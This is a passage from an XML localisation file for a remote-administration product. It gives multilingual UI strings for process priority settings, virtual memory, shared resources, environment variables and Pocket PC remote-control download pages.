en la lista de arriba y haga clic en 'Eliminar' para que %PRODUCTNAME los ignore en el futuro.</es>
<fr>Vous pouvez laisser %PRODUCTNAME mettre à jour automatiquement les priorités
des processus. Ceci peut devenir très utile si vous voulez forcer et prolonger la durée 
d'utilisation du CPU d'un processus sur une machine où la rapidité de réponse
est cruciale. 
Il vous faut cliquez simplement sur le bouton "Créer". Il vous faut choisir un ou plusieurs processus
dans la liste ci-dessus et cliquer sur "Supprimer" pour que %PRODUCTNAME les ignore à l'avenir.</fr>
<it>È possibile impostare %PRODUCTNAME per l'aggiornamento automatico della classe di priorità di esecuzione di un processo. Ciò può risultare molto utile se si desidera forzare l'esecuzione in background di attività lunghe e impegnative per la CPU su un computer nel quale è fondamentale la velocità di risposta di altri processi.
Fare clic sul pulsante 'Crea' per iniziare oppure selezionare uno o più processi dall'elenco visualizzato sopra e fare clic su 'Elimina' in modo che vengano ignorati da %PRODUCTNAME in futuro.</it>
<ru>%PRODUCTNAME может автоматически обновлять класс приоритета, с которым запускается процесс. Это может быть очень полезным, если необходимо выполнять продолжительные фоновые задания, интенсивно использующие ресурсы процессора, на компьютере, для которого критически важно быстро реагировать на другие процессы.
Щелкните кнопку "Создать", чтобы начать, или выберите один или несколько процессов в представленном выше списке и щелкните "Удалить", чтобы программа %PRODUCTNAME игнорировала их в будущем.</ru>
<ja>%PRODUCTNAME では、プロセスの実行が従う優先順位クラスが自動的に更新されるように設定できます。実行時間が長い CPU 集約型タスクを、他のプロセスからの応答が必須になる PC のバックグラウンドで強制実行する場合、これは非常に便利です。開始するには、[作成] ボタンをクリックするか、または上のリストからプロセスを選択して [削除] をクリックします。以降、%PRODUCTNAME は、該当するプロセスを無視します。</ja>
<zh>您可以使 %PRODUCTNAME 自动更新在其下运行进程的优先级类。如果您要将运行时间较长并占用大量 CPU 资源的任务强制进入计算机后台(其他进程的响应非常关键),将变得非常便捷。单击“创建”按钮开始操作,或者在上面的列表中选择一个或多个进程并单击“删除”以使 %PRODUCTNAME 将来忽略这些进程。</zh>
<ko>%PRODUCTNAME이(가) 프로세스 실행에 대한 우선 순위 클래스를 자동으로 업데이트할 수 있습니다. 이것은 다른 프로세스를 빠르게 실행해야 할 컴퓨터에서 CPU를 많이 사용하는 작업을 백그라운드에서 실행하는 경우 매우 편리한 기능입니다. '만들기' 버튼을 클릭하여 작업을 시작하거나 위의 목록에서 하나 이상의 프로세스를 선택하고 '삭제'를 클릭하여 %PRODUCTNAME이(가) 나중에 해당 프로세스를 무시하도록 합니다.</ko>
<en-gb>You can have %PRODUCTNAME automatically update the priority class a process runs under. This can come in very handy if you want to force lengthy, CPU-intensive tasks into the background on a machine where the responsiveness of other processes is critical.
Click on the 'Create' button to get started or select one or more processes in the list above and click 'Delete' to have %PRODUCTNAME ignore those in the future.</en-gb>
<hu>A %PRODUCTNAME termékkel automatikusan frissíttetheti azt a prioritási osztályt, 
amely alatt a folyamat fut. Ez nagyon hasznos lehet, ha a hosszadalmas, nagy processzor-igénybevétellel
járó feladatokat háttérbe kívánja szorítani egy olyan gépen, ahol más folyamatok gyors válaszai
kritikus fontosságúak.
Kattintson a "Létrehozás" gombra az indításhoz, vagy válasszon ki egy vagy több folyamatot
a fenti listából, majd kattintson a "Törlés" gombra, hogy a %PRODUCTNAME figyelmen kívül hagyja azokat a jövőben.</hu>
<pt-br>O %PRODUCTNAME pode atualizar automaticamente a classe de prioridade executada
por um processo. Isso pode ser muito útil se você desejar forçar
tarefas extensas que usem a CPU intensivamente no plano de fundo de uma máquina onde a responsividade de outros processos
seja crítica.
Clique no botão "Criar" para iniciar ou selecione um ou mais processos
na lista acima e clique em "Delete" para que o %PRODUCTNAME ignore-os no futuro.</pt-br>
<nl>In %PRODUCTNAME kunt u ervoor zorgen dat de prioriteitsklasse waarmee een proces wordt uitgevoerd automatisch wordt bijgewerkt. Deze optie kan bijzonder handig zijn als u de verwerking van langdurige, CPU-intensieve taken gedwongen naar de achtergrond wilt verwijzen op een computer waarvoor de reactietijden voor de andere processen van kritiek belang is. Klik op de knop 'Maken' om te beginnen of selecteer in de bovenstaande lijst een of meer processen en klik vervolgens op 'Verwijderen' als u wilt dat deze processen in %PRODUCTNAME in de toekomst worden genegeerd.</nl>
</msg>
<msg name="ADDNOTE">
<en>Enter the name of the executable in the input field and choose the
target priority class. For example, to have zip.exe always run in the Idle priority
group, enter 'zip.exe' in the first field and select 'Idle' from the selection box.
To force a process to execute on a specific processor (or specific processors),
select or unselect the processor(s) with the checkboxes.</en>
<de>Anmerkung: Tragen Sie einfach den Namen des Prozesses in das Eingabefeld
und wählen Sie die gewünschte Prioritätenklasse für diesen Prozess. Um z. B.
WINZIP.exe immer in der "Leerlauf"- Klasse auszuführen, geben Sie im ersten
Feld "WINZIP.exe" ein und wählen im Auswahlfeld "Idle".  Um die Ausführung
des Prozesses an einen bestimmten Prozessor oder Prozessoren zu binden,
aktivieren oder deaktivieren Sie die entsprechenden Prozessoraffinitäten.</de>
<es>Introduzca el nombre del ejecutable en el campo de entrada y elija la
clase de prioridad. Por ejemplo, para que zip.exe funcione siempre en el grupo de
prioridad en reposo, escriba "zip.exe" en el primer campo y elija "En reposo" del menú desplegable.
Para hacer que un proceso se ejecute en uno o varios procesadores específicos,
active o desactive las casillas de verificación del procesador(es).</es>
<fr>Remarque : entrez le nom de l'exécutable dans le champ de saisie et
choisissez la classe de priorité désirée. Par exemple, pour que winzip.exe s'éxécute
toujours en priorité basse, entrez "winzip.exe" dans le premier champs puis sélectionnez
'inoccupé' (idle) dans la liste déroulante. Pour forcer un processus à s'exécuter sur un
processeur spécifique (ou sur des processeurs spécifiques), sélectionnez ou désélectionnez
le(s) processeur(s) dans les cases à cocher.</fr>
<it>Immettere il nome del file eseguibile nel campo di input e scegliere la classe di priorità di destinazione. Ad esempio, per eseguire il file zip.exe sempre nel gruppo di priorità Inattivo, immettere 'zip.exe' nel primo campo e selezionare 'Inattivo' dalla casella di selezione.
Per forzare l'esecuzione di un processo in uno o più processori specifici, selezionare o deselezionare il processore o i processori attivando o disattivando le relative caselle di controllo.</it>
<ru>В поле ввода укажите имя исполняемого файла и выберите нужный класс приоритета. Например, чтобы программа zip.exe всегда запускалась в группе приоритетов "Простой", введите "zip.exe" в первом поле и выберите в поле выбора "Простой".
Чтобы запустить процесс на конкретном процессоре (или процессорах) установите или снимите соответствующие процессорам флажки.</ru>
<ja>実行ファイルの名前を入力フィールドに入力し、ターゲットの優先順位クラスを選択します。たとえば、 zip.exe を常に Idle 優先順位グループで実行するには、最初のフィールドに 'zip.exe' と入力し、選択ボックスから [Idle] を選択します。プロセスを特定のプロセッサで実行するように強制する場合は、チェックボックスでプロセッサをオンまたはオフにします。</ja>
<zh>在输入字段中输入可执行文件的名称,然后选择目标优先级类。例如,要使 zip.exe 始终运行在空闲优先级组中,请在第一个字段中输入“zip.exe”并在选择框中选择“空闲”。要强制某个进程在特定的一个(或多个)处理器上执行,请通过复选框选择或取消选择处理器。</zh>
<ko>입력 필드에 실행 파일 이름을 입력한 후 대상 우선 순위 클래스를 선택합니다. 예를 들어 zip.exe를 유휴 상태 우선 순위 그룹에서 실행하려면 첫 번째 필드에 'zip.exe'를 입력한 후 선택 상자에서 '유휴 상태'를 선택하십시오. 프로세스를 특정 프로세서에서 강제로 실행하려면 프로세서 옆의 확인란을 선택 또는 선택 취소하십시오.</ko>
<en-gb>Enter the name of the executable in the input field and choose the target priority class. For example, to have zip.exe always run in the Idle priority group, enter 'zip.exe' in the first field and select 'Idle' from the selection box.
To force a process to execute on a specific processor (or specific processors), select or unselect the processor(s) using the checkboxes.</en-gb>
<hu>Adja meg a végrehajtható fájl nevét a beviteli mezőben, majd válassza ki a
cél prioritási osztályt. Például, ahhoz, hogy a zip.exe mindig az üresjárati prioritásban futtassa
írja be: "zip.exe" az első mezőbe, majd jelölje meg az "Üresjárat"-ot a jelölőnégyzetben.
Ahhoz, hogy egy folyamat végrehajtását egy adott processzorra (vagy adott processzorokra) kényszerítse, 
jelölje meg vagy távolítsa el a jelölést a processzor(ok) jelölőnégyzeteiből.</hu>
<pt-br>Digite o nome dos executáveis no campo de entrada e selecione a
classe de prioridade de destino. Por exemplo, para o que zip.exe sempre seja executado no grupo de prioridades Ocioso,
digite "zip.exe" no primeiro campo e marque "Ocioso" na caixa de seleção.
Para forçar um processo a executar um processador específico (ou processadores específicos),
selecione ou desmarque a seleção do processador com as caixas de seleção.</pt-br>
<nl>Voer in het veld de naam van het uitvoerbaar bestand in en selecteer de gewenste prioriteitsklasse. Als u het uitvoerbaar bestand zip.exe bijvoorbeeld altijd wilt uitvoeren in de prioriteitsgroep "Niet actief", voert u in het eerste veld 'zip.exe' in en selecteert u in de vervolgkeuzelijst de optie 'Niet actief'. Als u wilt dat een proces verplicht met een specifieke processor (of specifieke processors) wordt uitgevoerd, schakelt u de selectievakjes van de overeenkomstige processor(s) in of uit.</nl>
</msg>
</cat>
<!-- "Virtual memory" screen messages -->
<cat name="VMEM">
<msg name="TITLE">
<en>Virtual Memory</en>
<de>Virtueller Speicher</de>
<es>Memoria virtual</es>
<fr>Mémoire virtuelle</fr>
<it>Memoria virtuale</it>
<ru>Виртуальная память</ru>
<ja>仮想メモリ</ja>
<zh>虚拟内存</zh>
<ko>가상 메모리</ko>
<en-gb>Virtual Memory</en-gb>
<hu>Virtuális memória</hu>
<pt-br>Memória virtual</pt-br>
<nl>Virtueel geheugen</nl>
</msg>
<msg name="MIN">
<en>Minimum allowed</en>
<de>Minimum erlaubt</de>
<es>Mínimo permitido</es>
<fr>Minimum autorisé</fr>
<it>Minima consentita</it>
<ru>Минимально разрешенная</ru>
<ja>最小許容値</ja>
<zh>允许的最小值</zh>
<ko>최소</ko>
<en-gb>Minimum allowed</en-gb>
<hu>Minimális engedélyezett</hu>
<pt-br>Mínimo permitido</pt-br>
<nl>Minimaal toegestaan</nl>
</msg>
<msg name="RECOMMEND">
<en>Recommended</en>
<de>Empfohlen</de>
<es>Recomendado</es>
<fr>Recommandé</fr>
<it>Consigliata</it>
<ru>Рекомендованная</ru>
<ja>推奨</ja>
<zh>推荐值</zh>
<ko>권장</ko>
<en-gb>Recommended</en-gb>
<hu>Ajánlott</hu>
<pt-br>Recomendado</pt-br>
<nl>Aanbevolen</nl>
</msg>
<msg name="TOOLOW">
<en>The minimum size set for the paging files is too low.</en>
<de>Der von Ihnen gesetzte Wert für die minimale Größe der Auslagerungsdatei ist zu niedrig.</de>
<es>El tamaño mínimo establecido para archivos de página es demasiado bajo.</es>
<fr>La taille minimum définie pour les fichiers de pagination est trop basse.</fr>
<it>La dimensione minima impostata per i file di paging è troppo ridotta.</it>
<ru>Для файлов подкачки задан слишком маленький минимальный размер.</ru>
<ja>ページング ファイルの最小サイズ設定が小さすぎます。</ja>
<zh>为页面文件大小设置的最小值太低。</zh>
<ko>페이징 파일에 대해 설정된 최소 크기가 너무 작습니다.</ko>
<en-gb>The minimum size set for the paging files is too low.</en-gb>
<hu>A lapozófájl minimális beállított mérete túl alacsony.</hu>
<pt-br>O conjunto de trabalho mínimo para os arquivos de paginação é muito baixo.</pt-br>
<nl>De minimumgrootte die voor de wisselbestanden is ingesteld, is te laag.</nl>
</msg>
</cat>
<cat name="SHARE">
<msg name="TITLE">
<en>Shared Resources</en>
<de>Freigegebene Ordner</de>
<es>Recursos compartidos</es>
<fr>Ressources partagées</fr>
<it>Risorse condivise</it>
<ru>Общие ресурсы</ru>
<ja>共有リソース</ja>
<zh>共享资源</zh>
<ko>공유 리소스</ko>
<en-gb>Shared Resources</en-gb>
<hu>Megosztott erőforrások</hu>
<pt-br>Recursos compartilhados</pt-br>
<nl>Gedeelde bronnen</nl>
</msg>
<msg name="COMMENT">
<en>Comment</en>
<de>Kommentar</de>
<es>Comentario</es>
<fr>Commentaire</fr>
<it>Commento</it>
<ru>Комментарий</ru>
<ja>コメント</ja>
<zh>注释</zh>
<ko>주석</ko>
<en-gb>Comment</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Comentários</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="USERS">
<en>Number of users</en>
<de>Anzahl der Benutzer</de>
<es>Número de usuarios</es>
<fr>Nombre d'utilisateurs</fr>
<it>Numero di utenti</it>
<ru>Число пользователей</ru>
<ja>ユーザ数</ja>
<zh>用户数</zh>
<ko>사용자 수</ko>
<en-gb>Number of users</en-gb>
<hu>Felhasználók száma</hu>
<pt-br>Número de usuários</pt-br>
<nl>Aantal gebruikers</nl>
</msg>
<msg name="MAXUSERS">
<en>Maximum number of users</en>
<de>Maximale Anzahl von Benutzern</de>
<es>Número máximo de usuarios</es>
<fr>Nombre maximum d'utilisateurs</fr>
<it>Numero massimo di utenti</it>
<ru>Максимальное число пользователей</ru>
<ja>最大ユーザ数</ja>
<zh>最大用户数</zh>
<ko>최대 사용자 수</ko>
<en-gb>Maximum number of users</en-gb>
<hu>Felhasználók maximális száma</hu>
<pt-br>Número máximo de usuários</pt-br>
<nl>Maximumaantal gebruikers</nl>
</msg>
<msg name="OPENFILES">
<en>Number of files open</en>
<de>Anzahl offener Dateien</de>
<es>Número de archivos abiertos</es>
<fr>Nombre de fichiers ouverts</fr>
<it>Numero di file aperti</it>
<ru>Число открытых файлов</ru>
<ja>開いているファイルの数</ja>
<zh>打开的文件数</zh>
<ko>열려 있는 파일 수</ko>
<en-gb>Number of files open</en-gb>
<hu>Nyitott fájlok száma</hu>
<pt-br>Número de arquivos abertos</pt-br>
<nl>Aantal geopende bestanden</nl>
</msg>
<msg name="FILES">
<en>Files</en>
<de>Dateien</de>
<es>Archivos</es>
<fr>Fichiers</fr>
<it>File</it>
<ru>Файлы</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>Files</en-gb>
<hu>Fájlok</hu>
<pt-br>Arquivos</pt-br>
<nl>Bestanden</nl>
</msg>
<msg name="FILE">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="CONNECTIONS">
<en>Connections</en>
<de>Verbindungen</de>
<es>Conexiones</es>
<fr>Connexions</fr>
<it>Connessioni</it>
<ru>Подключения</ru>
<ja>接続</ja>
<zh>连接</zh>
<ko>연결</ko>
<en-gb>Connections</en-gb>
<hu>Kapcsolatok</hu>
<pt-br>Conexões</pt-br>
<nl>Verbindingen</nl>
</msg>
<msg name="USER">
<en>User</en>
<de>Benutzer</de>
<es>Usuario</es>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="COMPUTER">
<en>Comp.</en>
<de>Comp.</de>
<es>Equipo</es>
<fr>Ordinateur</fr>
<it>Comp.</it>
<ru>Комп.</ru>
<ja>Comp.</ja>
<zh>计算机</zh>
<ko>압축</ko>
<en-gb>Comp.</en-gb>
<hu>Szg.</hu>
<pt-br>Comp.</pt-br>
<nl>Comp.</nl>
</msg>
<msg name="CLOSE">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
<msg name="LOCKS">
<en>Locks</en>
<de>Sperren</de>
<es>Bloqueos</es>
<fr>Bloqué</fr>
<it>Blocchi</it>
<ru>Блокировки</ru>
<ja>ロック</ja>
<zh>锁定</zh>
<ko>잠금</ko>
<en-gb>Locks</en-gb>
<hu>Zárolások</hu>
<pt-br>Bloqueios</pt-br>
<nl>Vergrendelingen</nl>
</msg>
<msg name="UNLIMITED">
<en>unlimited</en>
<de>unlimitiert</de>
<es>ilimitado</es>
<fr>Illimité</fr>
<it>senza limite</it>
<ru>не ограничено</ru>
<ja>無制限</ja>
<zh>无限制</zh>
<ko>제한 없음</ko>
<en-gb>unlimited</en-gb>
<hu>korlátlan</hu>
<pt-br>ilimitado</pt-br>
<nl>onbeperkt</nl>
</msg>
<msg name="BLANKUNLIM">
<en>(leave blank for unlimited)</en>
<de>(unlimitiert, wenn leer)</de>
<es>(para ilimitado, dejar en blanco)</es>
<fr>(laisser vide si illimité)</fr>
<it>(vuoto se senza limite)</it>
<ru>(оставьте пустым, чтобы снять ограничения)</ru>
<ja>(無制限の場合は空白のまま)</ja>
<zh>(保留为空白表示无限制)</zh>
<ko>(제한 없음으로 설정하려면 비워 두십시오)</ko>
<en-gb>(leave blank for unlimited)</en-gb>
<hu>(a korlátlanhoz hagyja üresen)</hu>
<pt-br>(deixe em branco no caso de ilimitados)</pt-br>
<nl>(voer geen waarde in voor onbeperkte vergrendelingen)</nl>
</msg>
<cat name="TYPE">
<msg name="drive">
<en>drive or folder</en>
<de>Laufwerk oder Ordner</de>
<es>unidad o carpeta</es>
<fr>lecteur ou dossier</fr>
<it>unità o cartella</it>
<ru>диск или папка</ru>
<ja>ドライブまたはフォルダ</ja>
<zh>驱动器或文件夹</zh>
<ko>드라이브 또는 폴더</ko>
<en-gb>drive or folder</en-gb>
<hu>meghajtó vagy mappa</hu>
<pt-br>unidade ou pasta</pt-br>
<nl>schijfstation of map</nl>
</msg>
<msg name="printq">
<en>print queue</en>
<de>Druckerwarteschlange</de>
<es>imprimir cola</es>
<fr>file d'attente d'impression</fr>
<it>coda di stampa</it>
<ru>очередь печати</ru>
<ja>印刷 キュー</ja>
<zh>打印队列</zh>
<ko>인쇄 대기열</ko>
<en-gb>print queue</en-gb>
<hu>nyomtatási sor</hu>
<pt-br>fila de impressão</pt-br>
<nl>afdrukwachtrij</nl>
</msg>
<msg name="device">
<en>comm. device</en>
<de>Komm. Gerät</de>
<es>dispositivo de com.</es>
<fr>périphérique de comm.</fr>
<it>periferica com.</it>
<ru>комм. устройство</ru>
<ja>通信デバイス</ja>
<zh>通信设备</zh>
<ko>통신 장치</ko>
<en-gb>comm. device</en-gb>
<hu>komm. eszköz</hu>
<pt-br>dispositivo de com.</pt-br>
<nl>communicatieapparaat</nl>
</msg>
<msg name="ipc">
<en>interprocess</en>
<de>Interprocess</de>
<es>interprocesos</es>
<fr>interprocessus</fr>
<it>interprocesso</it>
<ru>межпроцессорный</ru>
<ja>インタープロセス</ja>
<zh>进程间</zh>
<ko>프로세스간</ko>
<en-gb>interprocess</en-gb>
<hu>folyamatközi</hu>
<pt-br>interprocesso</pt-br>
<nl>communicatieproces tussen processen</nl>
</msg>
<msg name="special">
<en>special</en>
<de>Spezial</de>
<es>especial</es>
<fr>special</fr>
<it>speciale</it>
<ru>специальный</ru>
<ja>特別</ja>
<zh>特殊</zh>
<ko>특수</ko>
<en-gb>special</en-gb>
<hu>speciális</hu>
<pt-br>especial</pt-br>
<nl>speciaal</nl>
</msg>
</cat>
</cat>
<cat name="ENVIRON">
<msg name="TITLE">
<en>Environment Variables</en>
<de>Umgebungsvariablen</de>
<es>Variables del entorno</es>
<fr>Variables d'Environnement</fr>
<it>Variabili d'ambiente</it>
<ru>переменные среды</ru>
<ja>環境変数</ja>
<zh>环境变量</zh>
<ko>환경 변수</ko>
<en-gb>Environment Variables</en-gb>
<hu>Környezeti változók</hu>
<pt-br>Variáveis do ambiente</pt-br>
<nl>Omgevingsvariabelen</nl>
</msg>
<msg name="SYSTEM">
<en>System Variables</en>
<de>Systemvariablen</de>
<es>Variables del sistema</es>
<fr>Variables système</fr>
<it>Variabili di sistema</it>
<ru>Системные переменные</ru>
<ja>システム変数</ja>
<zh>系统变量</zh>
<ko>시스템 변수</ko>
<en-gb>System Variables</en-gb>
<hu>Rendszerváltozók</hu>
<pt-br>Variáveis do sistema</pt-br>
<nl>Systeemvariabelen</nl>
</msg>
</cat>
</cat>
<cat name="PDA">
<!-- HTML messages for WinCE RemoteControl support pages -->
<cat name="REMCTRL">
<msg name="PREDOWN1">
<en>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en>
<es>Es necesario un Windows Pocket PC 2003 o un dispositivo superior con un procesador ARM.</es>
<fr>Un appareil Windows PocketPC 2003 avec un processeur ARM est nécessaire.</fr>
<de>Es ist ein Windows Pocket PC 2003 oder ein neueres Gerät mit einem ARM-Prozessor erforderlich.</de>
<it>È necessario Windows Pocket PC 2003 o un dispositivo più recente con processore ARM.</it>
<ru>Требуется Windows Pocket PC 2003 или более новое устройство с процессором ARM.</ru>
<ja>ARM プロセッサを装備した Windows Pocket PC 2003 またはそれより新しいデバイスが必要です。</ja>
<zh>需要 Windows Pocket PC 2003 或带有 ARM 处理器的更新设备。</zh>
<ko>Windows Pocket PC 2003 또는 ARM 프로세서가 설치된 최신 장치가 필요합니다.</ko>
<en-gb>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en-gb>
<hu>Windows Pocket PC 2003 vagy ennél újabb , ARM processzorral rendelkező eszközre van szükség.</hu>
<pt-br>Um dispositivo Windows Pocket PC 2003 ou mais recente com processador ARM é necessário.</pt-br>
<nl>Hiervoor is een Windows Pocket PC 2003 of nieuwer apparaat met een ARM-processor vereist.</nl>
</msg>
<msg os="macosx" name="PREDOWN1">
<en>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en>
<es>Es necesario un Windows Pocket PC 2003 o un dispositivo superior con un procesador ARM.</es>
<fr>Un appareil Windows PocketPC 2003 avec un processeur ARM est nécessaire.</fr>
<de>Es ist ein Windows Pocket PC 2003 oder ein neueres Gerät mit einem ARM-Prozessor erforderlich.</de>
<it>È necessario Windows Pocket PC 2003 o un dispositivo più recente con processore ARM.</it>
<ru>Требуется Windows Pocket PC 2003 или более новое устройство с процессором ARM.</ru>
<ja>ARM プロセッサを装備した Windows Pocket PC 2003 またはそれより新しいデバイスが必要です。</ja>
<zh>需要 Windows Pocket PC 2003 或带有 ARM 处理器的更新设备。</zh>
<ko>Windows Pocket PC 2003 또는 ARM 프로세서가 설치된 최신 장치가 필요합니다.</ko>
<en-gb>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en-gb>
<hu>Windows Pocket PC 2003 vagy ennél újabb , ARM processzorral rendelkező eszközre van szükség.</hu>
<pt-br>Um dispositivo Windows Pocket PC 2003 ou mais recente com processador ARM é necessário.</pt-br>
<nl>Hiervoor is een Windows Pocket PC 2003 of nieuwer apparaat met een ARM-processor vereist.</nl>
</msg>
<msg name="PREDOWN2">
<en>You will be prompted to download and open the software required to access your PC. In the dialog box that appears, answer Yes and verify that the box marked  "Open file after download" is checked.</en>
<fr>Vous serez invité à télécharger et à lancer le logiciel nécessaire pour accéder à votre ordinateur. Dans la boîte de dialogue qui apparaît, répondez Oui et vérifiez que la case à cocher "Ouvrir le fichier après téléchargement" soit cochée.</fr>
<es>Se le pedirá que descargue y abra el software necesario para tener acceso a su ordenador. En el cuadro de diálogo que aparece, responda Sí y compruebe que la casilla "Abrir archivo después de la descarga" está activada.</es>
<de>Sie werden aufgefordert, die für den Zugriff auf Ihren Computer erforderliche Software herunterzuladen und auszuführen. Bestätigen Sie den nachfolgenden Dialog bitte mit JA. Achten Sie darauf, dass das Kontrollkästchen neben „Datei nach dem Download öffnen“ aktiviert ist.</de>
<it>Verrà richiesto di effettuare il download e avviare il software necessario per accedere al computer. Nella finestra di dialogo visualizzata selezionare Sì e verificare che la casella "Apri file dopo download" sia attivata.</it>
<nl>U wordt gevraagd het bestand te downloaden en de softwaretoepassing te starten die vereist is om toegang te krijgen tot uw computer. In het dialoogvenster dat op het scherm verschijnt, klikt u op "Ja" en controleert u of het selectievakje "Bestand openen na downloaden" is ingeschakeld.</nl>
<pt-br>Você será solicitado a baixar e abrir o software necessário para acessar o computador. Na caixa de diálogo exibida, responda Sim e verifique se a caixa "Abrir arquivo depois do download" está marcada.</pt-br>
<zh>系统将提示您下载并打开访问您计算机所需的软件。在显示的对话框中,回答“是”并验证已选中标有“下载后打开文件”的方框。</zh>
<ru>Будет предложено загрузить или открыть программное обеспечение, требуемое для доступа к компьютеру. В появившемся диалоговом окне ответьте "Да" и убедитесь в том, что установлен флажок "Открыть файл после загрузки".</ru>
<ja>コンピュータにアクセスするのに必要なソフトウェアをダウンロードして起動するように求めるメッセージが表示されます。表示されたダイアログ ボックスで [はい] を選択し、[ダウンロード後にファイルを開く] チェック ボックスがオンになっていることを確認してください。</ja>
<ko>컴퓨기에 액세스하기 위해 필요한 소프트웨어를 다운로드한 후 열 것인지를 묻는 메시지가 표시됩니다. 대화 상자가 나타나면 "예"를 누른 다음 "다운로드 후 파일 열기" 확인란을 선택했는지 확인하십시오.</ko>
<hu>A program majd arra utasítja, hogy töltse le és nyissa meg a számítógép eléréséhez szükséges szoftvert. A megjelenő párbeszédablakban válassza az Igen lehetőséget, és ellenőrizze, hogy a "Fájl megnyitása a letöltés után" jelölőnégyzet be van jelölve.</hu>
<en-gb>You will be prompted to download and open the software required to access your PC. In the dialogue box that appears, answer Yes and check that the box marked "Open file after download" is ticked.</en-gb>
</msg>
<msg os="macosx" name="PREDOWN2">
<en>You will be prompted to download and open the software required to access your computer. In the dialog box that appears, answer Yes and verify that the box marked  "Open file after download" is checked.</en>
<fr>Vous serez invité à télécharger et à lancer le logiciel nécessaire pour accéder à votre ordinateur. Dans la boîte de dialogue qui apparaît, répondez Oui et vérifiez que la case à cocher "Ouvrir le fichier après téléchargement" soit cochée.</fr>
<es>Se le pedirá que descargue y abra el software necesario para tener acceso a su ordenador. En el cuadro de diálogo que aparece, responda Sí y compruebe que la casilla "Abrir archivo después de la descarga" está activada.</es>
<de>Sie werden aufgefordert, die für den Zugriff auf Ihren Computer erforderliche Software herunterzuladen und auszuführen. Bestätigen Sie den nachfolgenden Dialog bitte mit JA. Achten Sie darauf, dass das Kontrollkästchen neben „Datei nach dem Download öffnen“ aktiviert ist.</de>
<it>Verrà richiesto di effettuare il download e avviare il software necessario per accedere al computer. Nella finestra di dialogo visualizzata selezionare Sì e verificare che la casella "Apri file dopo download" sia attivata.</it>
<nl>U wordt gevraagd het bestand te downloaden en de softwaretoepassing te starten die vereist is om toegang te krijgen tot uw computer. In het dialoogvenster dat op het scherm verschijnt, klikt u op "Ja" en controleert u of het selectievakje "Bestand openen na downloaden" is ingeschakeld.</nl>
<pt-br>Você será solicitado a baixar e abrir o software necessário para acessar o computador. Na caixa de diálogo exibida, responda Sim e verifique se a caixa "Abrir arquivo depois do download" está marcada.</pt-br>
<zh>系统将提示您下载并打开访问您计算机所需的软件。在显示的对话框中,回答“是”并验证已选中标有“下载后打开文件”的方框。</zh>
<ru>Будет предложено загрузить или открыть программное обеспечение, требуемое для доступа к компьютеру. В появившемся диалоговом окне ответьте "Да" и убедитесь в том, что установлен флажок "Открыть файл после загрузки".</ru>
<ja>コンピュータにアクセスするのに必要なソフトウェアをダウンロードして起動するように求めるメッセージが表示されます。表示されたダイアログ ボックスで [はい] を選択し、[ダウンロード後にファイルを開く] チェック ボックスがオンになっていることを確認してください。</ja>
<ko>컴퓨기에 액세스하기 위해 필요한 소프트웨어를 다운로드한 후 열 것인지를 묻는 메시지가 표시됩니다. 대화 상자가 나타나면 "예"를 누른 다음 "다운로드 후 파일 열기" 확인란을 선택했는지 확인하십시오.</ko>
<hu>A program majd arra utasítja, hogy töltse le és nyissa meg a számítógép eléréséhez szükséges szoftvert. A megjelenő párbeszédablakban válassza az Igen lehetőséget, és ellenőrizze, hogy a "Fájl megnyitása a letöltés után" jelölőnégyzet be van jelölve.</hu>
<en-gb>You will be prompted to download and open the software required to access your computer. In the dialogue box that appears, answer Yes and check that the box marked "Open file after download" is ticked.</en-gb>
</msg>
<msg name="PRECONTINUE">
<en>Click here to continue.</en>
<de>Klicken Sie hier, um fortzufahren.</de>
<es>Haga clic aquí para continuar.</es>
<fr>Cliquez ici pour continuer</fr>
<it>Fare clic qui per continuare.</it>
<ru>Щелкните здесь, чтобы продолжить.</ru>
<ja>続行するには、ここをクリックします。</ja>
<zh>单击此处继续。</zh>
<ko>계속하려면 여기를 클릭하십시오.</ko>
<en-gb>Click here to continue.</en-gb>
<hu>Kattintson ide a folytatáshoz.</hu>
<pt-br>Clique aqui para continuar.</pt-br>
<nl>Klik hier om verder te gaan.</nl>
</msg>
<msg name="DOWN1">
<en>Remote control Client is downloading...</en>
<de>Remote Control Client downloaden ...</de>
<es>Se está descargando el cliente de Control Remoto...</es>
<fr>Le client de contrôle à distance télécharge...</fr>
<it>Download del client di Controllo remoto...</it>
<ru>Загружается клиент удаленного управления...</ru>
<ja>リモート制御クライアントをダウンロードしています...</ja>
<zh>正在下载远程控制客户端...</zh>
<ko>원격 제어 클라이언트를 다운로드하는 중...</ko>
<en-gb>Remote control Client is downloading...</en-gb>
<hu>Távvezérlő kliensprogram letöltése folyamatban...</hu>
<pt-br>O cliente do controle remoto está sendo baixado...</pt-br>
<nl>De client voor besturing op afstand is bezig met downloaden...</nl>
</msg>
<msg name="DOWN2">
<en>Please Wait....</en>
<de>Bitte warten ...</de>
<es>Espere...</es>
<fr>Veuillez patienter...</fr>
<it>Attendere...</it>
<ru>Подождите...</ru>
<ja>お待ちください....</ja>
<zh>请稍候...</zh>
<ko>잠시 기다려 주십시오....</ko>
<en-gb>Please Wait....</en-gb>
<hu>Kérem, várjon...</hu>
<pt-br>Aguarde...</pt-br>
<nl>Een ogenblik geduld....</nl>
</msg>
<msg name="DOWN3">
